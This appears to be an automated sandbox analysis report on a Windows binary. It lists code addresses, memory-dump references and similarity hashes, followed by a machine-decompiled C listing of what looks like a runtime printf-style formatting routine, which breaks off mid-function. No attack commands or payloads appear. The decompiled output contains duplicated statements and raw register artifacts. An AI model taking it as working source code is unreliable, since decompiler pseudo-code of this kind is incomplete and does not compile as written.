0x00000000
0x0042a0ca
0x0042a0ca
0x0042a0d6
0x0042a0dc
0x0042a0e1
0x0042a0e3
0x0042a18d
0x0042a18d
0x0042a190
0x0042a190
0x0042a193
0x0042a1a7
0x0042a1ad
0x0042a1b3
0x0042a195
0x0042a195
0x0042a19b
0x0042a1a2
0x0042a1a2
0x0042a1b5
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x0042a0e9
0x0042a0e9
0x0042a0e9
0x0042a0eb
0x0042a0f9
0x0042a0ed
0x0042a0ed
0x0042a0ed
0x0042a103
0x0042a109
0x0042a10f
0x0042a116
0x0042a118
0x0042a11d
0x0042a11f
0x0042a124
0x0042a129
0x0042a12b
0x0042a130
0x0042a133
0x0042a136
0x0042a138
0x0042a138
0x0042a136
0x0042a139
0x0042a140
0x0042a188
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a142
0x0042a142
0x0042a147
0x0042a163
0x0042a16b
0x0042a175
0x0042a178
0x0042a17d
0x00000000
0x0042a17d
0x00000000
0x0042a3ce
0x0042a3ce
0x0042a3d8
0x0042a3d8
0x0042a3de
0x0042a3e0
0x0042a3e3
0x0042a3e3
0x0042a3e9
0x0042a3e9
0x0042a3ec
0x0042a3ef
0x0042a3ef
0x0042a3f4
0x0042a416
0x0042a416
0x0042a41c
0x0042a43e
0x0042a43e
0x0042a441
0x0042a488
0x0042a488
0x0042a48b
0x0042a4a8
0x0042a4ac
0x0042a4b4
0x0042a4b4
0x0042a4b6
0x0042a4bc
0x0042a48d
0x0042a48d
0x0042a491
0x0042a499
0x0042a49a
0x0042a4a0
0x0042a4a0
0x0042a443
0x0042a446
0x0042a446
0x0042a449
0x0042a467
0x0042a473
0x0042a476
0x0042a477
0x0042a47d
0x0042a44b
0x0042a44b
0x0042a44f
0x0042a457
0x0042a458
0x0042a459
0x0042a45f
0x0042a45f
0x0042a483
0x0042a41e
0x0042a41e
0x0042a42a
0x0042a430
0x0042a430
0x0042a3f6
0x0042a3f6
0x0042a402
0x0042a408
0x0042a408
0x0042a4c5
0x0042a4c5
0x0042a4c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00429f9d
0x00429f9d
0x00429fa1
0x00429faf
0x00429fb2
0x00429fa3
0x00429fa3
0x00429fa3
0x00429fb8
0x00429fbe
0x00429fc4
0x00429fd0
0x00429fd6
0x00429fd6
0x00429fd9
0x0042a061
0x0042a061
0x0042a065
0x0042a067
0x0042a06d
0x0042a06d
0x0042a070
0x0042a077
0x0042a07a
0x0042a080
0x0042a080
0x0042a080
0x0042a086
0x0042a08c
0x0042a08f
0x0042a095
0x0042a097
0x00000000
0x00000000
0x0042a099
0x0042a099
0x0042a09f
0x0042a0a2
0x0042a0a4
0x00000000
0x00000000
0x0042a0a6
0x0042a0ac
0x0042a0af
0x0042a0af
0x0042a0b7
0x0042a0b7
0x0042a0bd
0x0042a0bd
0x0042a0c2
0x00000000
0x00429fdf
0x00429fdf
0x00429fdf
0x00429fe3
0x00429fe5
0x00429fea
0x00429fea
0x00429fed
0x00429ff0
0x00429ff6
0x0042a008
0x0042a008
0x0042a008
0x0042a00b
0x0042a011
0x00000000
0x00000000
0x0042a013
0x0042a013
0x0042a019
0x0042a01c
0x0042a01e
0x00000000
0x00000000
0x0042a020
0x0042a020
0x0042a029
0x0042a02f
0x0042a033
0x0042a03b
0x0042a03d
0x0042a03f
0x0042a045
0x0042a045
0x0042a048
0x0042a048
0x0042a054
0x0042a057
0x00429fff
0x0042a002
0x0042a002
0x0042a005
0x0042a005
0x0042a05f
0x0042a0c5
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x00000000
0x0042a377
0x0042a377
0x0042a3ec
0x0042a3ec
0x0042a3ef
0x0042a3ef
0x0042a3f4
0x0042a416
0x0042a416
0x0042a41c
0x0042a43e
0x0042a43e
0x0042a441
0x0042a488
0x0042a488
0x0042a48b
0x0042a4a8
0x0042a4ac
0x0042a4b4
0x0042a4b4
0x0042a4b6
0x0042a4bc
0x0042a48d
0x0042a48d
0x0042a491
0x0042a499
0x0042a49a
0x0042a4a0
0x0042a4a0
0x0042a443
0x0042a446
0x0042a446
0x0042a449
0x0042a467
0x0042a473
0x0042a476
0x0042a477
0x0042a47d
0x0042a44b
0x0042a44b
0x0042a44f
0x0042a457
0x0042a458
0x0042a459
0x0042a45f
0x0042a45f
0x0042a483
0x0042a41e
0x0042a41e
0x0042a42a
0x0042a430
0x0042a430
0x0042a3f6
0x0042a3f6
0x0042a402
0x0042a408
0x0042a408
0x0042a4c5
0x0042a4c5
0x0042a4c8
0x00000000
0x00000000
0x00000000
0x0042a4c8
0x00000000
0x0042a393
0x0042a393
0x0042a39d
0x0042a39d
0x0042a3a7
0x0042a3a7
0x0042a3ad
0x0042a3af
0x0042a3b4
0x0042a3be
0x0042a3be
0x0042a3c1
0x0042a3c5
0x0042a3c5
0x0042a3ec
0x0042a3ec
0x0042a3ef
0x0042a3ef
0x0042a3f4
0x0042a416
0x0042a416
0x0042a41c
0x0042a43e
0x0042a43e
0x0042a441
0x0042a488
0x0042a488
0x0042a48b
0x0042a4a8
0x0042a4ac
0x0042a4b4
0x0042a4b4
0x0042a4b6
0x0042a4bc
0x0042a48d
0x0042a48d
0x0042a491
0x0042a499
0x0042a49a
0x0042a4a0
0x0042a4a0
0x0042a443
0x0042a446
0x0042a446
0x0042a449
0x0042a467
0x0042a473
0x0042a476
0x0042a477
0x0042a47d
0x0042a44b
0x0042a44b
0x0042a44f
0x0042a457
0x0042a458
0x0042a459
0x0042a45f
0x0042a45f
0x0042a483
0x0042a41e
0x0042a41e
0x0042a42a
0x0042a430
0x0042a430
0x0042a3f6
0x0042a3f6
0x0042a402
0x0042a408
0x0042a408
0x0042a4c5
0x0042a4c5
0x0042a4c8
0x00000000
0x00000000
0x00000000
0x0042a4c8
0x00000000
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x00000000
0x00429c09
0x00429c09
0x00429c0c
0x00429c0f
0x00000000
0x00000000
0x00429c14
0x00429c17
0x00429c1d
0x00000000
0x00000000
0x00429bfe
0x00429c01
0x00429c04
0x00000000
0x00000000
0x00429bf3
0x00429bf6
0x00429bf9
0x00000000
0x00000000
0x00429c22
0x00429c22
0x00429c25
0x00429c25
0x00429c28
0x00000000
0x00000000
0x00429c2b
0x00000000
0x00000000
0x00429a9b
0x00429a9b
0x00429a9d
0x00429aab
0x00429a9f
0x00429a9f
0x00429a9f
0x00429abb
0x00429ac8
0x00429aca
0x00429acf
0x00429ad1
0x00429ad6
0x00429adb
0x00429add
0x00429ae2
0x00429ae8
0x00429aea
0x00429aea
0x00429ae8
0x00429aeb
0x00429af2
0x00000000
0x00429af4
0x00429af9
0x00429b15
0x00429b1d
0x00429b2a
0x00429b2f
0x0042a93e
0x0042a94b
0x0042a94b
0x00429af2
0x00429a95
0x0042a87a
0x0042a87a
0x0042a881
0x0042a898
0x0042a898
0x0042a8a2
0x0042a8a2
0x0042a8a8
0x0042a8ae
0x0042a8b5
0x0042a8b7
0x0042a8bc
0x0042a8be
0x0042a8c3
0x0042a8c8
0x0042a8ca
0x0042a8cf
0x0042a8d2
0x0042a8d5
0x0042a8d7
0x0042a8d7
0x0042a8d5
0x0042a8d8
0x0042a8df
0x0042a92a
0x0042a933
0x0042a938
0x0042a8e1
0x0042a8e6
0x0042a902
0x0042a90a
0x0042a917
0x0042a91c
0x0042a91c
0x00000000
0x0042a8df
0x0042a883
0x0042a883
0x0042a88a
0x00000000
0x00000000
0x0042a88c
0x0042a88c
0x00000000
0x0042a88c
0x0042a67a
0x0042a651
0x0042a651
0x0042a655
0x0042a662
0x0042a665
0x0042a668
0x0042a66b
0x0042a66e
0x0042a671
0x0042a674
0x0042a674
0x0042a677
0x00000000
0x0042a677
0x0042a657
0x0042a657
0x0042a65a
0x0042a65d
0x0042a660
0x00000000
0x00000000
0x00000000
0x0042a660
0x0042a5b6
0x0042a5b6
0x0042a5b9
0x0042a5bc
0x0042a5c3
0x0042a5ca
0x0042a5d2
0x0042a5d8
0x0042a5db
0x0042a5de
0x0042a5e5
0x0042a5f1
0x0042a5f7
0x0042a5fd
0x0042a604
0x0042a606
0x0042a60c
0x0042a60c
0x0042a612
0x0042a612
0x0042a618
0x0042a621
0x0042a626
0x0042a629
0x0042a598
0x0042a598
0x0042a59e
0x0042a5a1
0x0042a5a4
0x0042a5a6
0x00000000
0x00000000
0x00000000
0x0042a5a6
0x0042a598
0x0042a4d5
0x0042a4d5
0x0042a4dc
0x00000000
0x00000000
0x00000000
0x0042a50a
0x0042a50a
0x0042a510
0x0042a516
0x0042a51c
0x00000000
0x0042a51c
0x0042a3ec
0x0042a39d
0x0042a387

APIs

_get_int64_arg.LIBCMTD ref: 0042A3FA
__aullrem.LIBCMT ref: 0042A5CA
__aulldiv.LIBCMT ref: 0042A5EC

Strings

9, xrefs: 0042A5FD

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 81f3cc991c07a84783b0f2e5448af7dc1015e0ea7737d423e418aa082d41f37f
Instruction ID: b653f9031f0d28801289628715feb82e866e9fc2b9ed08b718e114f27bf834ab
Opcode Fuzzy Hash: 81f3cc991c07a84783b0f2e5448af7dc1015e0ea7737d423e418aa082d41f37f
Instruction Fuzzy Hash: 8C4139B0E001299FDB20CF48D881BAFB7B5FF85314F40409AE649A7240C7789E95CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042919F, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0042919F() {
				signed int _t463;
				signed int _t482;
				void* _t506;
				signed int _t510;
				signed int _t523;
				signed int _t527;
				signed short _t528;
				signed int _t531;
				signed int _t534;
				signed int _t535;
				signed int _t581;
				signed int _t589;
				signed int _t591;
				signed int _t593;
				signed int _t600;
				signed int _t604;
				signed int _t638;
				signed int _t641;
				void* _t643;

				L0:
				while(1) {
					L0:
					 *(_t641 - 8) = 8;
					if(( *(_t641 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L141:
						__eflags =  *(_t641 - 0x10) & 0x00008000;
						if(( *(_t641 - 0x10) & 0x00008000) == 0) {
							_t591 =  *(_t641 - 0x10) & 0x00001000;
							__eflags = _t591;
							if(_t591 == 0) {
								__eflags =  *(_t641 - 0x10) & 0x00000020;
								if(( *(_t641 - 0x10) & 0x00000020) == 0) {
									_t593 =  *(_t641 - 0x10) & 0x00000040;
									__eflags = _t593;
									if(_t593 == 0) {
										_t463 = E00429820(_t641 + 0x14);
										_t643 = _t643 + 4;
										__eflags = 0;
										 *(_t641 - 0x4a0) = _t463;
										 *(_t641 - 0x49c) = 0;
									} else {
										_t527 = E00429820(_t641 + 0x14);
										_t643 = _t643 + 4;
										asm("cdq");
										 *(_t641 - 0x4a0) = _t527;
										 *(_t641 - 0x49c) = _t593;
									}
								} else {
									_t638 =  *(_t641 - 0x10) & 0x00000040;
									__eflags = _t638;
									if(_t638 == 0) {
										_t528 = E00429820(_t641 + 0x14);
										_t643 = _t643 + 4;
										asm("cdq");
										 *(_t641 - 0x4a0) = _t528 & 0x0000ffff;
										 *(_t641 - 0x49c) = _t638;
									} else {
										_t531 = E00429820(_t641 + 0x14);
										_t643 = _t643 + 4;
										asm("cdq");
										 *(_t641 - 0x4a0) = _t531;
										 *(_t641 - 0x49c) = _t638;
									}
								}
							} else {
								_t534 = E00429840(_t641 + 0x14);
								_t643 = _t643 + 4;
								 *(_t641 - 0x4a0) = _t534;
								 *(_t641 - 0x49c) = _t591;
							}
						} else {
							_t535 = E00429840(_t641 + 0x14);
							_t643 = _t643 + 4;
							 *(_t641 - 0x4a0) = _t535;
							 *(_t641 - 0x49c) = _t589;
						}
						__eflags =  *(_t641 - 0x10) & 0x00000040;
						if(( *(_t641 - 0x10) & 0x00000040) == 0) {
							goto L158;
						}
						L154:
						__eflags =  *(_t641 - 0x49c);
						if(__eflags > 0) {
							goto L158;
						}
						L155:
						if(__eflags < 0) {
							L157:
							asm("adc edx, 0x0");
							 *(_t641 - 0x4a8) =  ~( *(_t641 - 0x4a0));
							 *(_t641 - 0x4a4) =  ~( *(_t641 - 0x49c));
							 *(_t641 - 0x10) =  *(_t641 - 0x10) | 0x00000100;
							L159:
							__eflags =  *(_t641 - 0x10) & 0x00008000;
							if(( *(_t641 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t641 - 0x10) & 0x00001000;
								if(( *(_t641 - 0x10) & 0x00001000) == 0) {
									_t523 =  *(_t641 - 0x4a4) & 0x00000000;
									__eflags = _t523;
									 *(_t641 - 0x4a4) = _t523;
								}
							}
							__eflags =  *(_t641 - 0x30);
							if( *(_t641 - 0x30) >= 0) {
								 *(_t641 - 0x10) =  *(_t641 - 0x10) & 0xfffffff7;
								__eflags =  *(_t641 - 0x30) - 0x200;
								if( *(_t641 - 0x30) > 0x200) {
									 *(_t641 - 0x30) = 0x200;
								}
							} else {
								 *(_t641 - 0x30) = 1;
							}
							__eflags =  *(_t641 - 0x4a8) |  *(_t641 - 0x4a4);
							if(( *(_t641 - 0x4a8) |  *(_t641 - 0x4a4)) == 0) {
								 *(_t641 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t641 - 4)) = _t641 - 0x249;
							while(1) {
								L169:
								_t599 =  *(_t641 - 0x30) - 1;
								 *(_t641 - 0x30) =  *(_t641 - 0x30) - 1;
								__eflags =  *(_t641 - 0x30);
								if( *(_t641 - 0x30) > 0) {
									goto L171;
								}
								L170:
								__eflags =  *(_t641 - 0x4a8) |  *(_t641 - 0x4a4);
								if(( *(_t641 - 0x4a8) |  *(_t641 - 0x4a4)) == 0) {
									L174:
									 *(_t641 - 0x24) = _t641 - 0x249 -  *((intOrPtr*)(_t641 - 4));
									 *((intOrPtr*)(_t641 - 4)) =  *((intOrPtr*)(_t641 - 4)) + 1;
									__eflags =  *(_t641 - 0x10) & 0x00000200;
									if(( *(_t641 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L178:
											__eflags =  *(_t641 - 0x28);
											if( *(_t641 - 0x28) != 0) {
												goto L203;
											}
											L179:
											__eflags =  *(_t641 - 0x10) & 0x00000040;
											if(( *(_t641 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t641 - 0x10) & 0x00000100;
												if(( *(_t641 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t641 - 0x10) & 0x00000001;
													if(( *(_t641 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t641 - 0x10) & 0x00000002;
														if(( *(_t641 - 0x10) & 0x00000002) != 0) {
															 *((short*)(_t641 - 0x14)) = 0x20;
															 *(_t641 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t641 - 0x14)) = 0x2b;
														 *(_t641 - 0x1c) = 1;
													}
												} else {
													 *((short*)(_t641 - 0x14)) = 0x2d;
													 *(_t641 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t641 - 0x4ac)) =  *((intOrPtr*)(_t641 - 0x18)) -  *(_t641 - 0x24) -  *(_t641 - 0x1c);
											__eflags =  *(_t641 - 0x10) & 0x0000000c;
											if(__eflags == 0) {
												E004297E0(0x20,  *((intOrPtr*)(_t641 - 0x4ac)),  *((intOrPtr*)(_t641 + 8)), _t641 - 0x44c);
												_t643 = _t643 + 0x10;
											}
											E0042AA50( *(_t641 - 0x1c), __eflags, _t641 - 0x14,  *(_t641 - 0x1c),  *((intOrPtr*)(_t641 + 8)), _t641 - 0x44c);
											_t643 = _t643 + 0x10;
											__eflags =  *(_t641 - 0x10) & 0x00000008;
											if(( *(_t641 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t641 - 0x10) & 0x00000004;
												if(( *(_t641 - 0x10) & 0x00000004) == 0) {
													E004297E0(0x30,  *((intOrPtr*)(_t641 - 0x4ac)),  *((intOrPtr*)(_t641 + 8)), _t641 - 0x44c);
													_t643 = _t643 + 0x10;
												}
											}
											__eflags =  *(_t641 - 0xc);
											if(__eflags != 0) {
												L199:
												E0042AA50( *(_t641 - 0x24), __eflags,  *((intOrPtr*)(_t641 - 4)),  *(_t641 - 0x24),  *((intOrPtr*)(_t641 + 8)), _t641 - 0x44c);
												_t643 = _t643 + 0x10;
												goto L200;
											} else {
												L192:
												__eflags =  *(_t641 - 0x24);
												if(__eflags <= 0) {
													goto L199;
												}
												L193:
												 *((intOrPtr*)(_t641 - 0x4b0)) =  *((intOrPtr*)(_t641 - 4));
												 *(_t641 - 0x4b4) =  *(_t641 - 0x24);
												while(1) {
													L194:
													 *(_t641 - 0x4b4) =  *(_t641 - 0x4b4) - 1;
													__eflags =  *(_t641 - 0x4b4);
													if( *(_t641 - 0x4b4) <= 0) {
														break;
													}
													L195:
													_t506 = E00423790(_t641 - 0x40);
													_t510 = E00439180(_t641 - 0x458,  *((intOrPtr*)(_t641 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E00423790(_t641 - 0x40))) + 0xac)), _t506);
													_t643 = _t643 + 0x10;
													 *(_t641 - 0x4b8) = _t510;
													__eflags =  *(_t641 - 0x4b8);
													if( *(_t641 - 0x4b8) > 0) {
														L197:
														E00429780( *(_t641 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t641 + 8)), _t641 - 0x44c);
														_t643 = _t643 + 0xc;
														 *((intOrPtr*)(_t641 - 0x4b0)) =  *((intOrPtr*)(_t641 - 0x4b0)) +  *(_t641 - 0x4b8);
														continue;
													}
													L196:
													 *(_t641 - 0x44c) = 0xffffffff;
													break;
												}
												L198:
												L200:
												__eflags =  *(_t641 - 0x44c);
												if( *(_t641 - 0x44c) >= 0) {
													__eflags =  *(_t641 - 0x10) & 0x00000004;
													if(( *(_t641 - 0x10) & 0x00000004) != 0) {
														E004297E0(0x20,  *((intOrPtr*)(_t641 - 0x4ac)),  *((intOrPtr*)(_t641 + 8)), _t641 - 0x44c);
														_t643 = _t643 + 0x10;
													}
												}
											}
											L203:
											__eflags =  *(_t641 - 0x20);
											if( *(_t641 - 0x20) != 0) {
												L00422680( *(_t641 - 0x20), 2);
												_t643 = _t643 + 8;
												 *(_t641 - 0x20) = 0;
											}
											while(1) {
												L205:
												 *(_t641 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t641 + 0xc))));
												 *((intOrPtr*)(_t641 + 0xc)) =  *((intOrPtr*)(_t641 + 0xc)) + 2;
												if(( *(_t641 - 0x454) & 0x0000ffff) == 0 ||  *(_t641 - 0x44c) < 0) {
													break;
												} else {
													if(( *(_t641 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t641 - 0x454) & 0x0000ffff) > 0x78) {
														 *(_t641 - 0x4cc) = 0;
													} else {
														 *(_t641 - 0x4cc) =  *(( *(_t641 - 0x454) & 0x0000ffff) + 0x409110) & 0x0000000f;
													}
												}
												L7:
												 *(_t641 - 0x450) =  *(_t641 - 0x4cc);
												_t20 =  *(_t641 - 0x450) * 8; // 0x6000006
												 *(_t641 - 0x45c) =  *( *(_t641 - 0x45c) + _t20 + 0x409130) >> 4;
												 *(_t641 - 0x4d0) =  *(_t641 - 0x45c);
												if( *(_t641 - 0x4d0) > 7) {
													continue;
												}
												L8:
												switch( *((intOrPtr*)( *(_t641 - 0x4d0) * 4 +  &M00429674))) {
													case 0:
														L9:
														 *(_t641 - 0xc) = 1;
														E00429780( *(_t641 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t641 + 8)), _t641 - 0x44c);
														_t643 = _t643 + 0xc;
														goto L205;
													case 1:
														L10:
														 *(__ebp - 0x2c) = 0;
														__ecx =  *(__ebp - 0x2c);
														 *(__ebp - 0x28) = __ecx;
														__edx =  *(__ebp - 0x28);
														 *(__ebp - 0x18) =  *(__ebp - 0x28);
														__eax =  *(__ebp - 0x18);
														 *(__ebp - 0x1c) =  *(__ebp - 0x18);
														 *(__ebp - 0x10) = 0;
														 *(__ebp - 0x30) = 0xffffffff;
														 *(__ebp - 0xc) = 0;
														goto L205;
													case 2:
														L11:
														__ecx =  *(__ebp - 0x454) & 0x0000ffff;
														 *(__ebp - 0x4d4) = __ecx;
														 *(__ebp - 0x4d4) =  *(__ebp - 0x4d4) - 0x20;
														 *(__ebp - 0x4d4) =  *(__ebp - 0x4d4) - 0x20;
														__eflags =  *(__ebp - 0x4d4) - 0x10;
														if( *(__ebp - 0x4d4) > 0x10) {
															goto L18;
														}
														L12:
														_t49 =  *(__ebp - 0x4d4) + 0x4296ac; // 0x498d04
														__ecx =  *_t49 & 0x000000ff;
														switch( *((intOrPtr*)(__ecx * 4 +  &M00429694))) {
															case 0:
																goto L15;
															case 1:
																goto L16;
															case 2:
																goto L14;
															case 3:
																goto L13;
															case 4:
																goto L17;
															case 5:
																goto L18;
														}
													case 3:
														L19:
														__ecx =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
															__edx =  *(__ebp - 0x18);
															__edx =  *(__ebp - 0x18) * 0xa;
															__eflags = __edx;
															_t73 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
															__ecx = __edx + _t73;
															 *(__ebp - 0x18) = __ecx;
														} else {
															__edx = __ebp + 0x14;
															 *(__ebp - 0x18) = E00429820(__ebp + 0x14);
															__eflags =  *(__ebp - 0x18);
															if( *(__ebp - 0x18) < 0) {
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000004;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																__ecx =  *(__ebp - 0x18);
																__ecx =  ~( *(__ebp - 0x18));
																 *(__ebp - 0x18) = __ecx;
															}
														}
														L24:
														goto L205;
													case 4:
														L25:
														 *(__ebp - 0x30) = 0;
														goto L205;
													case 5:
														L26:
														__edx =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
															__ecx =  *(__ebp - 0x30);
															__ecx =  *(__ebp - 0x30) * 0xa;
															__eflags = __ecx;
															_t84 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
															__eax = __ecx + _t84;
															 *(__ebp - 0x30) = __ecx + _t84;
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x30) = E00429820(__ebp + 0x14);
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) < 0) {
																 *(__ebp - 0x30) = 0xffffffff;
															}
														}
														L31:
														goto L205;
													case 6:
														L32:
														__ecx =  *(__ebp - 0x454) & 0x0000ffff;
														 *(__ebp - 0x4d8) = __ecx;
														 *(__ebp - 0x4d8) =  *(__ebp - 0x4d8) - 0x49;
														 *(__ebp - 0x4d8) =  *(__ebp - 0x4d8) - 0x49;
														__eflags =  *(__ebp - 0x4d8) - 0x2e;
														if( *(__ebp - 0x4d8) > 0x2e) {
															L55:
															goto L205;
														}
														L33:
														_t92 =  *(__ebp - 0x4d8) + 0x4296d4; // 0x8f929003
														__ecx =  *_t92 & 0x000000ff;
														switch( *((intOrPtr*)(__ecx * 4 +  &M004296C0))) {
															case 0:
																L38:
																__ecx =  *(__ebp + 0xc);
																__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																	L41:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																		L44:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx & 0x0000ffff;
																		__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																		if(( *__ecx & 0x0000ffff) == 0x64) {
																			L50:
																			L52:
																			goto L55;
																		}
																		L45:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = __ecx - 0x69;
																		if(__ecx == 0x69) {
																			goto L50;
																		}
																		L46:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																			goto L50;
																		}
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx & 0x0000ffff;
																		__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																		if(( *__ecx & 0x0000ffff) == 0x75) {
																			goto L50;
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = __ecx - 0x78;
																		if(__ecx == 0x78) {
																			goto L50;
																		}
																		L49:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																			 *(__ebp - 0x45c) = 0;
																			goto L9;
																		}
																		goto L50;
																	}
																	L42:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x32;
																	if(__ecx != 0x32) {
																		goto L44;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																		goto L52;
																	}
																}
																L39:
																__eax =  *(__ebp + 0xc);
																__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																__eflags = __ecx - 0x34;
																if(__ecx != 0x34) {
																	goto L41;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																	goto L52;
																}
															case 1:
																L53:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000020;
																 *(__ebp - 0x10) = __ecx;
																goto L55;
															case 2:
																L34:
																__edx =  *(__ebp + 0xc);
																__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000010;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																} else {
																	__ecx =  *(__ebp + 0xc);
																	__ecx =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) = __ecx;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																}
																goto L55;
															case 3:
																L54:
																__edx =  *(__ebp - 0x10);
																__edx =  *(__ebp - 0x10) | 0x00000800;
																__eflags = __edx;
																 *(__ebp - 0x10) = __edx;
																goto L55;
															case 4:
																goto L55;
														}
													case 7:
														L56:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														 *(__ebp - 0x4dc) =  *(__ebp - 0x454) & 0x0000ffff;
														__ecx =  *(__ebp - 0x4dc);
														__ecx =  *(__ebp - 0x4dc) - 0x41;
														 *(__ebp - 0x4dc) = __ecx;
														__eflags =  *(__ebp - 0x4dc) - 0x37;
														if( *(__ebp - 0x4dc) > 0x37) {
															while(1) {
																L178:
																__eflags =  *(_t641 - 0x28);
																if( *(_t641 - 0x28) != 0) {
																	goto L203;
																}
																goto L179;
															}
														}
														L57:
														_t133 =  *(__ebp - 0x4dc) + 0x429740; // 0xcccccc0d
														__eax =  *_t133 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t133 & 0x000000ff) * 4 +  &M00429704))) {
															case 0:
																L111:
																 *(__ebp - 0x2c) = 1;
																 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																 *(__ebp - 0x454) = __ax;
																goto L112;
															case 1:
																L58:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__edx =  *(__ebp - 0x10);
